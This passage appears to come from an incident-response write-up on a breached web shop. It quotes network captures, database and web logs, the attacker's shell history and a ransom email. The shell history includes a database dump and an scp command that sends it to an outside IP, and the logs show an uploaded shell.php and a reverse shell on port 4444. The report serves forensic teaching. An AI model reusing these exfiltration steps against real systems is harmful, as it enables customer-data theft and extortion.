754	2022-02-20 02:58:55.907775	138.68.92.163	134.122.33.221	TCP	68	54948 → 80 [ACK] Seq=88 Ack=1117 Win=64128 Len=0 TSval=1054379482 TSecr=4059207478
786	2022-02-20 02:59:04.073598	138.68.92.163	134.122.33.221	TCP	76	54950 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1054387648 TSecr=0 WS=128
788	2022-02-20 02:59:04.171702	138.68.92.163	134.122.33.221	TCP	68	54950 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1054387746 TSecr=4059215742
789	2022-02-20 02:59:04.171795	138.68.92.163	134.122.33.221	HTTP	589	POST /uploads/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
792	2022-02-20 02:59:04.289759	138.68.92.163	134.122.33.221	TCP	76	4444 → 55866 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1054387864 TSecr=4059215859 WS=128
795	2022-02-20 02:59:04.389586	138.68.92.163	134.122.33.221	TCP	68	4444 → 55866 [ACK] Seq=1 Ack=13 Win=65152 Len=0 TSval=1054387964 TSecr=4059215960
797	2022-02-20 02:59:04.487209	138.68.92.163	134.122.33.221	TCP	68	4444 → 55866 [ACK] Seq=1 Ack=56 Win=65152 Len=0 TSval=1054388062 TSecr=4059216058
802	2022-02-20 02:59:11.302526	138.68.92.163	134.122.33.221	TCP	75	4444 → 55866 [PSH, ACK] Seq=1 Ack=56 Win=65152 Len=7 TSval=1054394877 TSecr=4059216058
805	2022-02-20 02:59:11.403417	138.68.92.163	134.122.33.221	TCP	68	4444 → 55866 [ACK] Seq=8 Ack=65 Win=65152 Len=0 TSval=1054394978 TSecr=4059222974

Figure 2c: Web Server Scan- Post request of malicious file 'shell.php' injected onto server.

phl_database_access_log.txt - Notepad

File Edit Format View Help

```
2022-02-20T03:00:55.682704Z        9 Connect   root@localhost on  using Socket
2022-02-20T03:00:55.682973Z        9 Query     select @@version_comment limit 1
2022-02-20T03:00:58.206501Z        9 Query     show databases
2022-02-20T03:01:02.431377Z        9 Query     SELECT DATABASE()
2022-02-20T03:01:02.431609Z        9 Init DB   mysql
2022-02-20T03:01:02.432402Z        9 Query     show databases
2022-02-20T03:01:02.433075Z        9 Query     show tables
```

Figure 3a: phl_database_access_log, indicated the commands run in a MySQL environment

```
phl_database_access_log.txt - Notepad
File  Edit  Format  View  Help
2022-02-20T03:01:02.459358Z         9 Field List        user
2022-02-20T03:01:07.373140Z         9 Query     show tables
2022-02-20T03:01:10.167274Z         9 Query     SELECT * FROM user
2022-02-20T03:01:13.274571Z         9 Query     SELECT DATABASE()
2022-02-20T03:01:13.274934Z         9 Init DB   phl
2022-02-20T03:01:13.275849Z         9 Query     show databases
2022-02-20T03:01:13.276443Z         9 Query     show tables
2022-02-20T03:01:13.277190Z         9 Field List        customers
2022-02-20T03:01:15.536553Z         9 Query     show tables
2022-02-20T03:01:21.694024Z         9 Query     SELECT * FROM customers
2022-02-20T03:01:31.159492Z         9 Query     SELECT * FROM customers LIMIT 5
2022-02-20T03:01:34.242985Z         9 Quit
2022-02-20T03:01:46.748188Z        10 Connect   root@localhost on  using Socket
2022-02-20T03:01:46.748326Z        10 Query     /*!40100 SET @@SQL_MODE='' */
2022-02-20T03:01:46.748435Z        10 Query     /*!40103 SET TIME_ZONE='+00:00' */
2022-02-20T03:01:46.748574Z        10 Query     /*!80000 SET SESSION information_schema_stats_expiry=0 */
2022-02-20T03:01:46.748680Z        10 Query     SET SESSION NET_READ_TIMEOUT= 86400, SESSION NET_WRITE_TIMEOUT= 86400
2022-02-20T03:01:46.748820Z        10 Query     SHOW VARIABLES LIKE 'gtid\_mode'
2022-02-20T03:01:46.753077Z        10 Query     SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.
2022-02-20T03:01:46.756231Z        10 Query     SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM IN
2022-02-20T03:01:46.757327Z        10 Query     SHOW VARIABLES LIKE 'ndbinfo\_version'
2022-02-20T03:01:46.763600Z        10 Init DB   phl
2022-02-20T03:01:46.763710Z        10 Query     show tables
2022-02-20T03:01:46.765171Z        10 Query     LOCK TABLES `customers` READ /*!32311 LOCAL */
2022-02-20T03:01:46.769709Z        10 Query     show table status like 'customers'
2022-02-20T03:01:46.772197Z        10 Query     SET SQL_QUOTE_SHOW_CREATE=1
2022-02-20T03:01:46.772305Z        10 Query     SET SESSION character_set_results = 'binary'
2022-02-20T03:01:46.772375Z        10 Query     show create table `customers`
2022-02-20T03:01:46.772772Z        10 Query     SET SESSION character_set_results = 'utf8mb4'
2022-02-20T03:01:46.772883Z        10 Query     show fields from `customers`
2022-02-20T03:01:46.774238Z        10 Query     show fields from `customers`
2022-02-20T03:01:46.775014Z        10 Query     SELECT /*!40001 SQL_NO_CACHE */ * FROM `customers`
2022-02-20T03:01:46.775651Z        10 Query     SET SESSION character_set_results = 'binary'
2022-02-20T03:01:46.775720Z        10 Query     use `phl`
2022-02-20T03:01:46.775799Z        10 Query     select @@collation_database
2022-02-20T03:01:46.775886Z        10 Query     SHOW TRIGGERS LIKE 'customers'
2022-02-20T03:01:46.777051Z        10 Query     SET SESSION character_set_results = 'utf8mb4'
2022-02-20T03:01:46.777108Z        10 Query     SET SESSION character_set_results = 'binary'
2022-02-20T03:01:46.777571Z        10 Query     SELECT COLUMN_NAME,                    JSON_EXTRACT(HISTOGRAM, '$."number-of-buckets-specified"')
2022-02-20T03:01:46.778175Z        10 Query     SET SESSION character_set_results = 'utf8mb4'
```

Figure 3b: phl_database_access_log.txt, indicated Socket process was run, and a new phl.db file was initiated for exfiltration

```
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /upload.php HTTP/1.1" 200 487 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /flash HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /48 HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /portal HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /design HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /uploads/randomfile1 HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /uploads/frand2 HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /uploads/ HTTP/1.1" 200 1115 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:55 -0500] "GET /uploads/ HTTP/1.1" 200 1115 "-" "curl/7.68.0"
138.68.92.163 - - [19/Feb/2022:21:59:04 -0500] "POST /uploads/shell.php HTTP/1.1" 200 2655 "-" "curl/7.68.0"
```

Figure 4: phl-access.log, indicated the use of curl

phl_database_shell.txt - Notepad

File Edit Format View Help

```
19/02/22 22:00:27 netstat -atunp
19/02/22 22:00:48 sudo -l
19/02/22 22:00:55 sudo mysql -u root -p
19/02/22 22:01:45 sudo mysqldump -u root -p phl > phl.db
19/02/22 22:01:49 file phl.db
19/02/22 22:01:59 head -50 phl.db
19/02/22 22:02:17 ls
19/02/22 22:02:26 scp phl.db fierce@178.62.228.28:/tmp/phl.db
19/02/22 22:02:36 rm phl.db
19/02/22 22:02:38 exit
```

Figure 5: phl_database_logs of explicit shell commands malicious actors ran

```
From: 4C484C@qq.com
To: support@premiumhouselights.com

Hello,

We will go right to the point. We are in possession of your database files, which
include sensitive information about your customers.

You wouldn't want this information to be out on the internet, would you? We will
release this information on https://pastebin.com if you don't deposit 10 BTC to the
following wallet ID:

               1JQqFLmAp5DQJbdD3ThgEiJGSmX8eaaBid

by Monday at 10:00AM UTC.

To demonstrate to you that we aren't just playing games, here is a snippet of your
customer database table:

+------------------+-----------------+--------------+
| contactFirstName | contactLastName | phone        |
+------------------+-----------------+--------------+
| Carine           [redacted]
| Jean             [redacted]
| Peter            [redacted]
| Janine           [redacted]
| Jonas            [redacted]
+------------------+-----------------+--------------+

Now the ball is in your court to make the right decision and take action. There will
be no negotiations on the price.

// The 4C484C Group
```

Figure 6: the extortion email received after the attack concluded:

References

- CrowdStrike. (n.d.). Incident Response Steps.
  https://www.crowdstrike.com/cybersecurity-101/incident-response/incident-response-steps

- National Institute of Standards and Technology (NIST). (n.d.). Cryptographic Standards and Guidelines.
  https://csrc.nist.gov/projects/cryptographic-standards-and-guidelines

- MITRE ATT&CK. (n.d.). T1573.002: Encryption.
  https://attack.mitre.org/techniques/T1573/002/

- MITRE ATT&CK. (n.d.). T1190: Exploit Public-Facing Application
  https://attack.mitre.org/techniques/T1190/

- MITRE ATT&CK. (n.d.). TA0010: Exfiltration.
  https://attack.mitre.org/tactics/TA0010/